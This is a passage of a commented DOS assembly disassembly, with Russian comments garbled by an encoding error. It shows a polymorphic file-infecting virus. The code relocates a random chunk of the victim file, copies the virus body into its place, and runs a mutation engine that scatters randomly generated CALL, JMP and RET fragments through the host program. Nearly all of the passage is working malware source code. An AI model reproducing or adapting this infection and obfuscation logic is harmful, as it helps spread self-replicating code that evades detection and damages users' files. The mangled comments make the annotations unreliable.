035F B9 1000 mov cx,4096
0362 2B C1 sub ax,cx
; á«ãç ©­ë© ªã᮪ ¢ ä ©«¥
0364 E8 FFE1 call RND_0_AX
0367 05 0020 add ax,20h
036A 2E: A3 04EB mov cs:data_04EB,ax ; AX - 㪠§ë¢ ¥â ­  ­ ç «® ªã᪠
;------- <20>ਯ¨á뢠¥¬ ¢ë¡à ­­ë© ªã᮪ ª ª®­æã ä ©«  ---------------------------------
036E 8B F0 mov si,ax
0370 F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
;-----------------------------------------------------------------------------------
0372 1E push ds
0373 0E push cs
0374 1F pop ds ; DS = CS
0375 A3 03D2 mov ds:data_03D2,ax ; ‚¥àå­ïï £à ­¨æ  ®¡« á⨠"A" - íâ®
; ­ ç «® ¢ëªã襭­®© ®¡« áâ¨
0378 97 xchg di,ax ; DI - 㪠§ë¢ ¥â ­  ª®­¥æ ¯à¨¯¨á ­­®£®
; ªã᪠ (ä ©« + ªã᮪)
0379 A3 03E7 mov ds:data_03E7,ax ; ‚¥àå­ïï £à ­¨æ  ®¡« á⨠"B" - íâ®
; 㪠§ â¥«ì ­  ª®­¥æ § à ¦¥­­®£® ä ©« 
037C A3 059C mov ds:data_059C,ax ; <20> §¬¥à  § à ¦¥­­®£® ä ©« 
037F 96 xchg si,ax
0380 A3 03E2 mov ds:data_03E2,ax ; <20>¨¦­ïï £à ­¨æ  ®¡« á⨠"B" - íâ®
; ª®­¥æ ¢ëªã襭­®© ®¡« áâ¨
0383 A3 03C1 mov ds:data_03C1,ax ; Š®­¥æ ˆ<>”Ž-¡«®ª 
;------- <20>  ¬¥áâ® á«ãç ©­®£® ªã᪠ ª®¯¨à㥬 ⥫® ¢¨àãá  ----------------------------
0386 BE 0100 mov si,offset Vir_Start
0389 B9 09C0 mov cx,offset Vir_End - offset Vir_Start ; à §¬¥à ¢¨àãá 
038C F3/ A4 rep movsb ; Rep when cx >0 Mov [si] to es:[di]
;-------- ˆ­¨æ¨ «¨§ æ¨ï ¢á¥å ¢¨àãá­ëå áç¥â稪®¢ ------------------------------------
038E 33 C0 xor ax,ax ; Zero register
0390 A3 09E0 mov ds:BytesWrittenCounter,ax ; ᣥ­¥à¨à®¢ ­­ëå ¡ ©â®¢ - ­®«ì
0393 A3 06BE mov ds:StackCounter,ax ; á«®¢ ¢ á⥪¥ - ­®«ì
0396 A3 06F3 mov ds:data_06F3,ax
0399 A3 03CD mov ds:data_03CD,ax ; ­¨¦­ïï £à ­¨æ  ¡«®ª  "A" - 0000
039C 89 3E 0A03 mov ds:data_0A03,di ; ¤¨­ ¬¨ç¥áª¨© 㪠§ â¥«ì ­ 
; MEM-¡«®ª
03A0 81 C7 0200 add di,0200h ; <20> §¬¥à MEM-¡«®ª  = 512 ¡ ©â
03A4 89 3E 04E3 mov ds:data_04E3,di ; ¤¨­ ¬¨ç¥áª¨© 㪠§ â¥«ì ­ 
; ˆ<>”Ž-¡«®ª
03A8 89 3E 09EA mov ds:data_09EA,di ; 㪠§ â¥«ì ­  ­ ç «® ˆ<>”Ž-¡«®ª 
03AC 1F pop ds
;------- ˆ­¨æ¨ «¨§ æ¨ï ¯¥à¢ëå ¡ ©â®¢ ¨­ä®à¬ æ¨®­­®© ®¡« á⨠------------------------
03AD AB stosw ; Store ax to es:[di]
03AE AB stosw ; Store ax to es:[di]
03AF 2E: 89 26 0599 mov cs:data_0599,sp ; á®åà ­¨âì á⥪
;-----------------------------------------------------------------------------------
03B4 93 xchg bx,ax ; BX = 0000
; ¢ ⥫¥ ¯®«¨¬®àä­®£® ¬¥å ­¨§¬  BX
; 㪠§ë¢ ¥â ­  ⥪ã騩  ¤à¥á £¥­¥à¨-
; à㥬®£® ãç á⪠
03B5 53 push bx
03B6 53 push bx ; „¢  ­®«ï ¢ á⥪¥ - íâ® ¤¢  Mark-end
;---------------------------------------------------------------------------------------------------------
; * ˆá¯®«ì§®¢ ­¨¥ á⥪  *
;---------------------------------------------------------------------------------------------------------
; <20>®¬¨¬® ¢á¥å ¯à®ç¨å 楫¥© ¢¨àãá ¨á¯®«ì§ã¥â á⥪®¢ãî ¯ ¬ïâì ¤«ï à §¬¥é¥­¨ï ¢ ­¥© ¤¢ãå ¤¨­ ¬¨ç¥áª¨å ¬ áá¨-
; ¢®¢. „¨­ ¬¨ç¥áª¨¥ ¯®â®¬ã, çâ® § à ­¥¥ ­¥ ¨§¢¥áâ­® ᪮«ìª® ãç á⪮¢ ª®¤  ¨ ¯®¤¯à®£à ¬¬ ᣥ­¥à¨àã¥âáï ¯à¨
; ­®¢®¬ § à ¦¥­¨¨. Ž¤¨­ ¨§ íâ¨å ¬ áᨢ®¢ ¨á¯®«ì§ã¥âáï ¤«ï åà ­¥­¨ï ¨­ä®à¬ æ¨¨ ¯à¨ £¥­¥à æ¨¨ ¢ë§®¢  ¯®¤-
; ¯à®£à ¬¬ ¢ ¯®«¨¬®àä­®¬ "¬ãá®à¥". ‚â®à®© ¬ áᨢ ¨á¯®«ì§ã¥âáï ¤«ï åà ­¥­¨ï ¨­ä®à¬ æ¨¨ ¯à¨ ä®à¬¨à®¢ ­¨¨ ª®-
; ¬ ­¤ SHORT ¯¥à¥å®¤®¢. <20>ਠí⮬ ä®à¬ â åà ­¨¬®© ¨­ä®à¬ æ¨¨ ®¤¨­ ª®¢ ¤«ï ®¡®¨å ¬ áᨢ®¢:
;
; ................................................................... ˆ­ä®à¬ æ¨ï åà ­¨âáï ¯ à ¬¨ á«®¢
; [ <20>¥à¢ë© ¬ áᨢ ]
; * PUSH 0 (Mark-end)
; 1 ÚÄ PUSH Š®«¨ç¥á⢮ á«®¢ ¢ á⥪¥ ­  ¬®¬¥­â ¯¥à¥å®¤  ª ­®¢®¬ã ¡«®ªã
; ÀÄ PUSH €¤à¥á á ª®â®à®£® ¤¥« ¥¬ ¯¥à¥å®¤
; ...
; N ÚÄ PUSH Š®«¨ç¥á⢮ á«®¢ ¢ á⥪¥ ­  ¬®¬¥­â ¯¥à¥å®¤  ª ­®¢®¬ã ¡«®ªã
; ÀÄ PUSH €¤à¥á á ª®â®à®£® ¤¥« ¥¬ ¯¥à¥å®¤
; ................................................................... ˆ­ä®à¬ æ¨ï åà ­¨âáï ¯ à ¬¨ á«®¢
; [ ‚â®à®© ¬ áᨢ ]
; * PUSH 0 (Mark-end)
; 1 ÚÄ PUSH Š®«¨ç¥á⢮ á«®¢ ¢ á⥪¥ ­  ¬®¬¥­â ä®à¬¨à®¢ ­¨ï SHORT ¯¥à¥å®¤ 
; ÀÄ PUSH €¤à¥á ª®¬ ­¤ë SHORT ¯¥à¥å®¤ 
; ...
; N ÚÄ PUSH Š®«¨ç¥á⢮ á«®¢ ¢ á⥪¥ ­  ¬®¬¥­â ä®à¬¨à®¢ ­¨ï SHORT ¯¥à¥å®¤ 
; ÀÄ PUSH €¤à¥á ª®¬ ­¤ë SHORT ¯¥à¥å®¤ 
; ...................................................................
; [Ž¡ëç­ë© á⥪]
;---------------------------------------------------------------------------------------------------------
;---------- ƒ ¤ ¥¬ ¡ã¤¥¬ ¨«¨ ­¥â ¬®¤¨ä¨æ¨à®¢ âì DS ¢ ¯®«¨¬®àä­®¬ ¬ãá®à¥ ------------
03B7 E8 FF8B call RND_01 ; = 0 - ­¥â
03BA 2E: A2 0A25 mov cs:data_0A25,al ; = 1 - ¤ 
;-----------------------------------------------------------------------------------------------------------
; * <20>஢¥àª  ¯à¥¤¥«®¢ *
;-----------------------------------------------------------------------------------------------------------
; ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ¿
; ³data_03CD³ ³data_03D2³ ³data_03E2³ ³data_03E7³
; ÀÄÄÄÄÂÄÄÄÄÙ ÀÄÄÄÄÂÄÄÄÄÙ ÀÄÄÄÄÂÄÄÄÄÙ ÀÄÄÄÄÂÄÄÄÄÙ
; 0000 ÚÅÄÄÄÄÄÄÄÄ//ÄÄÄÄÄÄÄÄÅÄÉÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÑÍÍÍÍÍÍ»ÄÅÄÄÄÄÄÄÄÄ//ÄÄÄÄÄÄÄÄÄÄÄ¿ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄ¿ NNNN
; ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³³ ³
; ³³ ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³ ³³ ³ ³
; ³ º²²²Ž²²²º°MEM°°³±ˆ­ä®±º ³³ <20>ਯ¨á ­­ë© ³
; ³³ Ž¡« áâì A ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³ Ž¡« áâì B ³³ á«ãç ©­ë© ³ ³
; ³ º²²ˆ<E2809A>€²²º°¡«®ª°³±¡«®ª±º ³³ ªã᮪ ¨§ ³
; ³³ ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³ ³³ ä ©«  ³ ³
; ³ º²²²09C0²²²º°0200°³±0440±º ³³ ³
; ³³ ³ º²²²²²²²²²²º°°°°°°³±±±±±±º ³ ³³ ³ ³
; ÀÄÄÄÄÄÄÄÄÄ//ÄÄÄÄÄÄÄÄÄÄÈÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÏÍÍÍÍÍͼÄÄÄÄÄÄÄÄÄÄÄ//ÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÙ
; ÀÄÄÄÄÄÄÄÄÄ1000ÄÄÄÄÄÄÄÄÄÄÄÙ ³
; 4K ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; <20>ਬ¥ç ­¨¥ : data_03CD - 㪠§ â¥«ì ­¨¦­¥© £à ­¨æë ®¡« á⨠€
; data_03D2 - 㪠§ â¥«ì ¢¥àå­¥© £à ­¨æë ®¡« á⨠€
; data_03E2 - 㪠§ â¥«ì ­¨¦­¥© £à ­¨æë ®¡« áâ¨
; data_03E7 - 㪠§ â¥«ì ¢¥àå­¥© £à ­¨æë ®¡« áâ¨
03BE loc_03BE:
;------- <20>஢¥àª  ª®«¨ç¥á⢠ ᣥ­¥à¨à®¢ ­­ëå ¡ ©â®¢ (¯à¥¤¥«ë ˆ<>”Ž-¡«®ª ) -----------
03BE 33 F6 xor si,si ; SI = 0000
03C0 B8 2D36 mov ax,1111h
data_03C1 = word ptr $ - 2 ; AX = ª®­¥æ ˆ<>”Ž-¡«®ª 
03C3 2B C7 sub ax,di ; DI - ⥪ã騩 㪠§ â¥«ì ˆ<>”Ž-¡«®ª 
03C5 3D 0010 cmp ax,10h ; Žáâ «®áì ¬¥­¥¥ 16 ¡ ©â®¢ ?
03C8 72 2F jb short loc_03F9 ; Jump if YES
;------- <20>஢¥àª  ­  ¢ë室 §  ¯à¥¤¥« ­¨¦­¥© £à ­¨æë ¡«®ª  "A" ----------------------
03CA 8B C3 mov ax,bx
03CC 3D 122F cmp ax,1111h
data_03CD = word ptr $ - 2
03CF 72 28 jb short loc_03F9 ; Jump if below
;------- <20>஢¥àª  ­  ¢ë室 §  ¯à¥¤¥«ë ¢¥àå­¥© £à ­¨æë ¡«®ª  "A" --------------------
03D1 B8 18C7 mov ax,1111h
data_03D2 = word ptr $ - 2
03D4 2B C3 sub ax,bx
03D6 72 07 jc short loc_03DF ; Jump if carry Set
03D8 3D 0009 cmp ax,9
03DB 72 1C jb short loc_03F9 ; Jump if below
03DD EB 07 jmp short loc_03E6
;------- <20>஢¥àª  ­  ¢ë室 §  ¯à¥¤¥«ë ­¨¦­¥© £à ­¨æë ¡«®ª  "B" ---------------------
03DF loc_03DF:
03DF 8B C3 mov ax,bx
03E1 3D 39E2 cmp ax,1111h
data_03E2 = word ptr $ - 2
03E4 72 13 jb short loc_03F9 ; Jump if below
;------- <20>஢¥àª  ­  ¢ë室 §  ¯à¥¤¥«ë ¢¥àå­¥© £à ­¨æë ¡«®ª  "B" --------------------
03E6 loc_03E6:
03E6 B8 3D5E mov ax,1111h
data_03E7 = word ptr $ - 2
03E9 2B C3 sub ax,bx
03EB 3D 0009 cmp ax,9
03EE 72 09 jb short loc_03F9 ; Jump if below
;-------- ’ ª ª ª ¢ £à ­¨æ å, â® ¯à®¤®«¦ ¥¬ £¥­¥à¨à®¢ âì á«ãç ©­ë¥ ª®¬ ­¤ë ---------
03F0 B8 0017 mov ax,23 ; 23 entries
03F3 E8 FF52 call RND_0_AX
03F6 D1 E0 shl ax,1 ; Shift w/zeros fill
03F8 96 xchg si,ax
03F9 loc_03F9:
03F9 2E: FF 94 0400 call word ptr cs:data_0400[si] ; 23 entries
03FE EB BE jmp short loc_03BE
sub_0359 endp
0400 042E data_0400 dw offset sub_042E
0402 0660 data_0402 dw offset sub_0660
0404 066F data_0404 dw offset sub_066F
0406 0685 data_0406 dw offset sub_0685
0408 06A3 data_0408 dw offset sub_06A3
040A 06E0 data_040A dw offset sub_06E0
040C 06E0 data_040C dw offset sub_06E0
040E 0717 data_040E dw offset sub_0717
0410 0735 data_0410 dw offset sub_0735
0412 0755 data_0412 dw offset sub_0755
0414 076A data_0414 dw offset sub_076A
0416 0781 data_0416 dw offset sub_0781
0418 07A3 data_0418 dw offset sub_07A3
041A 07E8 data_041A dw offset sub_07E8
041C 07FD data_041C dw offset sub_07FD
041E 081E data_041E dw offset sub_081E
0420 0892 data_0420 dw offset sub_0892
0422 08C5 data_0422 dw offset sub_08C5
0424 0925 data_0424 dw offset sub_0925
0426 094D data_0426 dw offset sub_094D
0428 0960 data_0428 dw offset sub_0960
042A 09C2 data_042A dw offset sub_09C2
042C 098A data_042C dw offset sub_098A
;==========================================================================
; “¯à ¢«¥­¨¥ à §¡à á뢠­¨¥¬ ãç á⪮¢ ¯®«¨¬®àä­®£® ¬ãá®à 
; ‚室 : ä« £ CF = 0 - ¯à®¤®«¦ ¥¬ à ¡®âã £¥­¥à â®à 
; = 1 - ᢮à ç¨¢ ¥¬ à ¡®âã £¥­¥à â®à
; <20>â  ¯à®æ¥¤ãà  ¯à®¨§¢®¤¨â ‡€Š<E282AC>ˆ…/ŽŠ<E28099>ˆ…/<2F><>Ž„<C5BD>Ž†…<E280A0>ˆ… ®ç¥à¥¤­®£®
; ãç á⪠ ª®¤ . .¥. ®­  ä ªâ¨ç¥áª¨ ã¯à ¢«ï¥â  «£®à¨â¬®¬ "®¯¯«¥¢ë¢ ­¨ï"
; ä ©«  (ᮧ¤ ­¨¥¬, ãç¥â®¬ ¨ ª®­â஫¥¬ ¯à®æ¥¤ãà ¨ ãç á⪮¢ ª®¤  ¢ à §­ëå
; ¬¥áâ å ¯à®£à ¬¬ë-¦¥àâ¢ë. 室¥ ᢮¥© à ¡®âë ¯à®æ¥¤ãà  ®âá«¥¦¨¢ ¥â ¢á¥
; CALL, JMP ¨ RET ¢ à §­ëå ᮧ¤ ¢ ¥¬ëå ãç á⪠å.
; ‚­¨¬ ­¨¥! ‚¨àãá ¬ ­¨¯ã«¨àã¥â ¯®¤¯à®£à ¬¬ ¬¨. <20>® ¨­®£¤  í⨠¯®¤¯à®£à ¬¬ë
; ¬®£ãâ á®áâ®ïâì ¨§ ­¥áª®«ìª¨å ãç á⪮¢ ª®¤  (ã¯à ¢«¥­¨¥ ¬¥¦¤ã ª®â®à묨
; ¯¥à¥¤ ¥âáï ª®¬ ­¤ ¬¨ JMP).
;==========================================================================
sub_042E proc near
042E 9F lahf ; Load ah from flags
042F 95 xchg bp,ax
0430 E8 0496 call sub_08C9 ; áä®à¬¨à®¢ âì ᬥ饭¨ï ¤«ï
; SHORT ¯¥à¥å®¤®¢
0433 59 pop cx
0434 5A pop dx
;------------------------------------------------------------------------------
0435 E8 FF0D call RND_01 ; á ¢¥à®ïâ­®áâìî 1/2 ¯à®¤®«¦ ¥¬
; ⥪ãéãî ¯®¤¯à®£à ¬¬ã ¢ ¤à㣮¬
; ãç á⪥
0438 B0 02 mov al,2 ; ‚¥à®ïâ­®áâì JMP ¨ CALL à ¢­ 
043A 74 74 jz short loc_04B0 ; Jump if RND = 0
;------------------------------------------------------------------------------
; …᫨ ­ã¦­® ᢮à ç¨¢ âì à ¡®âã £¥­¥à â®à , â® ¢áâ ¢«ï¥¬ ª®¬ ­¤ã ¯¥à¥å®¤ 
043C 8B C5 mov ax,bp
043E 9E sahf ; Store ah into flags
043F B8 0002 mov ax,2 ; ‚¥à®ïâ­®áâì JMP ¨ CALL à ¢­ 
0442 72 6C jc short loc_04B0 ; Jump if CF=1
;------------------------------------------------------------------------------
; ¢¥à®ïâ­®áâìî 1/2 ¢ ⥪ã饩 ¯®¤¯à®£à ¬¬¥ ¢ë§ë¢ ¥¬ ¥é¥ ®¤­ã ¯® ª®¬ ­¤¥ CALL
0444 E8 FEFE call RND_01
0447 75 6B jnz short loc_04B4 ; Jump if RND = 1
;------------------------------------------------------------------------------
0449 5E pop si
044A 0B F6 or si,si ; …áâì «¨ ®âªàëâë¥ ¯®¤¯à®£à ¬¬ë ?
044C 74 64 jz short loc_04B2 ; …᫨ <20>, â® ¢ë§ë¢ ¥¬ ¯¥à¢ãî
; ¯®¤¯à®£à ¬¬ã ¯® ª®¬ ­¤¥ CALL.
; …᫨ „€, â® § ªà®¥¬ ¥¥.
;------------------------------------------------------------------------------
; "‡€Š<E282AC>œ" ãç á⮪ ª®¤  (¬®¤¥«¨à㥬 ¢ë室 ¨§ ¯®¤¯à®£à ¬¬ë ¯® ª®¬ ­¤¥ RETn)
; SI -  ¤à¥á á ª®â®à®£® ¤¥« «¨ ¯¥à¥å®¤
044E 2E: 8F 06 046F pop cs:data_046F
0453 58 pop ax
0454 2E: A3 06F3 mov cs:data_06F3,ax ; …᫨ AX=0, â® áࠧ㠨 ®¡­ã«¥­¨¥
0458 0B C0 or ax,ax ; Zero ?
045A 74 0F jz short loc_046B ; Jump if zero
045C 2E: 8F 06 06F3 pop cs:data_06F3
0461 2E: FF 36 06F3 push cs:data_06F3
0466 2E: FF 06 06F3 inc cs:data_06F3
046B loc_046B:
046B 50 push ax
046C EB 00 jmp short $+2 ; delay for I/O
;------------------------------------------------------------------------------
; „® ª ª®£® §­ ç¥­¨ï ­ã¦­® ¢ë஢­ïâì SP ¤® ¢ë室  ¨§ ¯®¤¯à®£à ¬¬ë, ç⮡ë
; ¯à ¢¨«ì­® áà ¡®â «  ª®¬ ­¤  RET.
046E B8 0001 mov ax,1111h
data_046F = word ptr $ - 2
0471 2E: 87 06 06BE xchg cs:StackCounter,ax
0476 2E: 2B 06 06BE sub ax,cs:StackCounter
047B 48 dec ax
047C E8 03C0 call sub_083F ; ¢ë஢­ïâì SP
;------------------------------------------------------------------------------
; …᫨ ¢ ¢ë§ë¢ î饩 ¯®¤¯à®£à ¬¬¥ ¤® ¢ë§®¢  ¡ë«¨ ­¥á­ïâë¥ §­ ç¥­¨ï ¢ á⥪¥,
; â® á­¨¬¥¬ ¯ àã-¤àã£ãî á«®¢ (á«ãç ©­®¥ ª®«-¢®) ¨§ á⥪  ¯à¨ ¢ë室¥
047F 2E: A1 06BE mov ax,cs:StackCounter
0483 2E: 2B 06 06F3 sub ax,cs:data_06F3
0488 40 inc ax ;AX - ª®«¨ç¥á⢮ ­¥ á­ïâëå á«®¢
0489 E8 FEBC call RND_0_AX
048C 74 13 jz short loc_04A1 ; ¥á«¨ AX=0, â® ¢ë©â¨ ¯® RET
;--------------- ‚ë室 ¯® ª®¬ ­¤¥ RET NEAR <IM16> -----------------------------
048E 2E: 29 06 06BE sub cs:StackCounter,ax
0493 D1 E0 shl ax,1 ; Shift w/zeros fill
0495 50 push ax
0496 B0 C2 mov al,0C2h ; cmd RET NEAR <IM16>
0498 E8 01B0 call Write_byte
049B 58 pop ax
049C E8 0197 call Write_word
049F EB 05 jmp short loc_04A6
;--------------- ‚ë室 ¯® ª®¬ ­¤¥ RET NEAR ------------------------------------
04A1 loc_04A1:
04A1 B0 C3 mov al,0C3h ; cmd RET NEAR
04A3 E8 01A5 call Write_byte
;------------------------------------------------------------------------------
04A6 loc_04A6:
04A6 83 C6 03 add si,3 ; âਠ¡ ©â  ­  ª®¬ ­¤ã ¯¥à¥å®¤ 
; CALL <near> ¨«¨ JMP <near>
04A9 2E: 89 36 054F mov cs:data_054F,si
04AE 33 C0 xor ax,ax ; AX = 0 - ¯à¨§­ ª ¢áâ ¢ª¨
; ª®¬ ­¤ë "RETn"
04B0 loc_04B0:
04B0 EB 0F jmp short loc_04C1
;------------------------------------------------------------------------------
04B2 loc_04B2:
04B2 56 push si ; § ¯¨áì Mark-end' 
04B3 40 inc ax ; ¤¥«¥­¨¥ ­  0 ­¥¢®§¬®¦­® (­ã¦­® ¤«ï RND)
04B4 loc_04B4:
; "ŽŠ<E28099>œ" ­®¢ë© ãç á⮪ ª®¤  (¢ë§¢ âì ¯®¤¯à®£à ¬¬ã)
04B4 2E: 8B 36 06BE mov si,cs:StackCounter
04B9 56 push si ; á®åà ­¨âì ª®«-¢® á«®¢ ¢ á⥪¥
04BA 46 inc si
04BB 2E: 89 36 06F3 mov cs:data_06F3,si ; ‡­ ç¥­¨¥ áç¥â稪  á⥪  ¤® ­ ç « 
; í⮩ ¯®¤¯à®£à ¬¬ë
04C0 53 push bx ; á®åà ­¨âì ⥪ã騩 㪠§ â¥«ì
; ®ç¥à¥¤­®£®  ¤à¥á  (­ã¦­® ç⮡ë
; ¯®â®¬ ¯à®¤®«¦¨âì á ­¥£®)
;--------------------------------------------------------------------------
04C1 loc_04C1:
04C1 52 push dx
04C2 51 push cx
04C3 95 xchg bp,ax
04C4 9E sahf ; ¢®ááâ ­®¢¨âì ¢å®¤­ë¥ ä« £¨
04C5 9C pushf ;
04C6 0B ED or bp,bp ; “¦¥ ¢áâ ¢¨«¨ "RETn" ???
04C8 74 15 jz short loc_04DF ; bp = 0 - „ .
;-------------- £¥­¥à æ¨ï ª®¬ ­¤ë ¯¥à¥å®¤  CALL ¨«¨ JMP -------------------
04CA 8B C5 mov ax,bp
04CC E8 FE79 call RND_0_AX ; £ ¤ ¥¬ 祣® ¢áâ ¢¨âì
04CF B0 E9 mov al,0E9h ; cmd JMP NEAR
04D1 75 06 jnz short loc_04D9 ; Jump if not zero
04D3 2E: FF 06 06BE inc word ptr cs:StackCounter ; á ª®¬ ­¤®© CALL ¢ á⥪¥
; ­ã¦­® ¯à¨¡ ¢¨âì ®¤­® á«®¢®
04D8 48 dec ax ; cmd CALL NEAR
04D9 loc_04D9:
04D9 E8 016F call Write_byte ; § ¯¨áì ª®¬ ­¤ë
04DC E8 0157 call Write_word ; § ¯¨áì  ¤à¥á  ¯¥à¥å®¤ 
; ¤«ï ­ ç «  á«ãç ©­®£®
;--------------------------------------------------------------------------
; ‡ ªà뢠¥¬ ®ç¥à¥¤­ãî § ¯¨áì ¢ ¨­ä®-¡«®ª¥ ®â­®áïéãîáï ª § ªà뢠¥¬®¬ã
; ãç áâªã ᣥ­¥à¨à®¢ ­­®£® ª®¤ 
04DF loc_04DF:
04DF 8D 45 FC lea ax,[di-4] ; 4 ¡ ©â  ¯®¤ ­ ç «® § ¯¨á¨
04E2 BE 2B2C mov si,1111h ; ¤¨­ ¬¨ç¥áª¨© 㪠§ â¥«ì ˆ<>”Ž-¡«®ª 
data_04E3 = word ptr $ - 2
04E5 2B C6 sub ax,si ; ¯®¤áç¥â à §¬¥à  § ªà뢠¥¬®£® ãç á⪠
04E7 89 04 mov [si],ax ; § ¯¨áì à §¬¥à  § ªà뢠¥¬®£® ãç á⪠
;------------------------------------------------------------------------------
04E9 9D popf ; Pop flags
04EA B8 1D36 mov ax,1111h ; ¢å®¤­®©  ¤à¥á ¢ ¢¨àãá (¤«ï
; ¯®á«¥¤­¥£® CALL ¨«¨ JMP)
data_04EB = word ptr $ - 2
04ED 73 03 jnc short loc_04F2 ; Jump if CF=0
04EF E9 0088 jmp loc_057A ; ᢮à ç¨¢ ¥¬ à ¡®âã £¥­¥à â®à 
;------------------------------------------------------------------------------
; Ž¯à¥¤¥«ï¥¬ : á⮨⠫¨ ¬¥­ïâì £à ­¨æë ®¡« á⥩ ?
04F2 loc_04F2:
04F2 8B C3 mov ax,bx ; ⥪ã騩 㪠§ â¥«ì  ¤à¥á 
04F4 2E: 3B 06 03CD cmp ax,cs:data_03CD
04F9 72 4F jb short loc_054A ; Jump if ­¨¦¥ £à ­¨æë ®¡« á⨠€
04FB 2E: 3B 06 03E7 cmp ax,cs:data_03E7
0500 73 48 jae short loc_054A ; Jump if ¢ëè¥ £à ­¨æë ®¡« áâ¨
;--------------------------
0502 2E: 2B 06 03E2 sub ax,cs:data_03E2
0507 73 27 jnc short loc_0530 ; Jump if ¯®¯ ¤ ¥â ¢ ®¡« áâì
0509 2E: 8B 16 03D2 mov dx,cs:data_03D2
050E 3B DA cmp bx,dx
0510 73 38 jae short loc_054A ; Jump if ¢ë¯ ¤ ¥â ¨§ ®¡« á⥩
;----------- “áâ ­ ¢«¨¢ ¥¬ ­®¢ë¥ £à ­¨æë ®¡« á⨠"A" --------------------------
0512 2B 54 02 sub dx,[si+2] ; DX = à ááâ®ï­¨¥ ®â ⥪ã饣®
;  ¤à¥á  ¤® ¢¥àè¨­ë ®¡« á⨠€
0515 8B C3 mov ax,bx
0517 2E: 2B 06 03CD sub ax,cs:data_03CD ; AX = à ááâ®ï­¨¥ ®â ⥪ã饣®
;  ¤à¥á  ¤® ¤­  ®¡« á⨠€
; ¯®¤â¢ ¥¬ ¡«¨¦­îî £à ­¨æã
051C 3B C2 cmp ax,dx
051E 72 09 jb short loc_0529 ; Jump if below
0520 8B 44 02 mov ax,[si+2]
0523 2E: A3 03D2 mov cs:data_03D2,ax ; ®¯ã᪠¥¬ ¢¥àå­îî £à ­¨æã
0527 EB 21 jmp short loc_054A
0529 loc_0529:
0529 2E: 89 1E 03CD mov cs:data_03CD,bx ; ¯®¤ë¬ ¥¬ ­¨¦­îî £à ­¨æã
052E EB 1A jmp short loc_054A
;----------- “áâ ­ ¢«¨¢ ¥¬ ­®¢ë¥ £à ­¨æë ®¡« á⨠"B" --------------------------
0530 loc_0530:
0530 92 xchg dx,ax
0531 2E: A1 03E7 mov ax,cs:data_03E7
0535 2B 44 02 sub ax,[si+2]
0538 3B C2 cmp ax,dx
053A 72 07 jb short loc_0543 ; Jump if below
053C 2E: 89 1E 03E2 mov cs:data_03E2,bx ; ¬¥­ï¥¬ ­¨¦­îî £à ­¨æã
0541 EB 07 jmp short loc_054A
0543 loc_0543:
0543 8B 44 02 mov ax,[si+2]
0546 2E: A3 03E7 mov cs:data_03E7,ax ; ®¯ã᪠¥¬ ¢¥àå­îî £à ­¨æã ª
; ­ ç «ã ¯à¥¤ë¤ã饣® ãç á⪠
;------------------------------------------------------------------------------
; <20>஢¥àª  : <20>㦭® «¨ § ¯¨á뢠âì ᬥ饭¨¥ ?
054A loc_054A:
054A 0B ED or bp,bp ; ‚áâ ¢«ï«¨ ª®¬ ­¤ã "RET" ?
054C 75 06 jnz short loc_0554 ; Jump if NO
; ¥á«¨ ¢áâ ¢«ï«¨ RET, ⮠ᬥ饭¨¥ ­¥ ­ã¦­® ...
054E BB 0067 mov bx,1111h
data_054F = word ptr $ - 2
0551 9C pushf ; Push flags
0552 EB 2E jmp short loc_0582 ; ®¡®©â¨ ª®¤ ¢áâ ¢«ïî騩
; ᬥ饭¨¥
;------------------------------------------------------------------------------
; £ ¤ ¥¬ ¢ ª ª®© ®¡« á⨠("A" ¨«¨ "B") à á¯®«®£ âì ­®¢ë© ãç á⮪
0554 loc_0554:
0554 E8 FDEE call RND_01 ; ¢¥à®ïâ­®áâì à ¢­®§­ ç­ ï (1/2)
0557 2E: A1 03E7 mov ax,cs:data_03E7
055B 2E: 8B 16 03E2 mov dx,cs:data_03E2 ; ¡ §  = ­¨¦­¨© ¯à¥¤¥« "B"
0560 74 09 jz short loc_056B ; Jump if RND = 0
0562 2E: A1 03D2 mov ax,cs:data_03D2
0566 2E: 8B 16 03CD mov dx,cs:data_03CD ; ¡ §  = ­¨¦­¨© ¯à¥¤¥« "A"
056B loc_056B:
056B 2B C2 sub ax,dx ; AX = à §¬¥à ®¡« áâ¨
056D 2D 0003 sub ax,3 ; Œ¨­¨¬ã¬ âਠ¡ ©â  ­  ª®¬ ­¤ã
; ¯¥à¥å®¤  (¢ë室 )
0570 77 03 ja short loc_0575 ; <20>¥à¥å®¤ ¥á«¨ ¡®«ìè¥ 3-å ¡ ©â
0572 B8 0001 mov ax,1 ; ’®«ìª® ¡ § (!). <20>¥§ á«ãç ©­®©
; ª®¬¯®­¥­âë
0575 loc_0575:
; Ž¯à¥¤¥«ï¥¬ ¬¥áâ® à á¯®«®¦¥­¨ï ãç á⪠ ¢ ¢ë¡à ­­®© ®¡« áâ¨
0575 E8 FDD0 call RND_0_AX
0578 03 C2 add ax,dx ; AX = ¡ §  + á«ãç ©­®¥ ᬥ饭¨¥
057A loc_057A:
057A 9C pushf ; Push flags
057B 2B C3 sub ax,bx ; AX = ®â­®á¨â¥«ì­®¥ ᬥ饭¨¥
; ­®¢®£® ãç á⪠ ª®¤ 
057D 89 47 FE mov [bx-2],ax ; ‡ ¯¨á âì í⮣® ᬥ饭¨ï ¢ ª®¬ ­¤ã
; ¯¥à¥å®¤ 
0580 03 D8 add bx,ax ; BX =  ¤à¥á ­®¢®£® ãç á⪠
;------------------------------------------------------------------------------
; Žâªà뢠¥¬ ­®¢ãî § ¯¨áì ¢ ˆ<>”Ž-¡«®ª¥
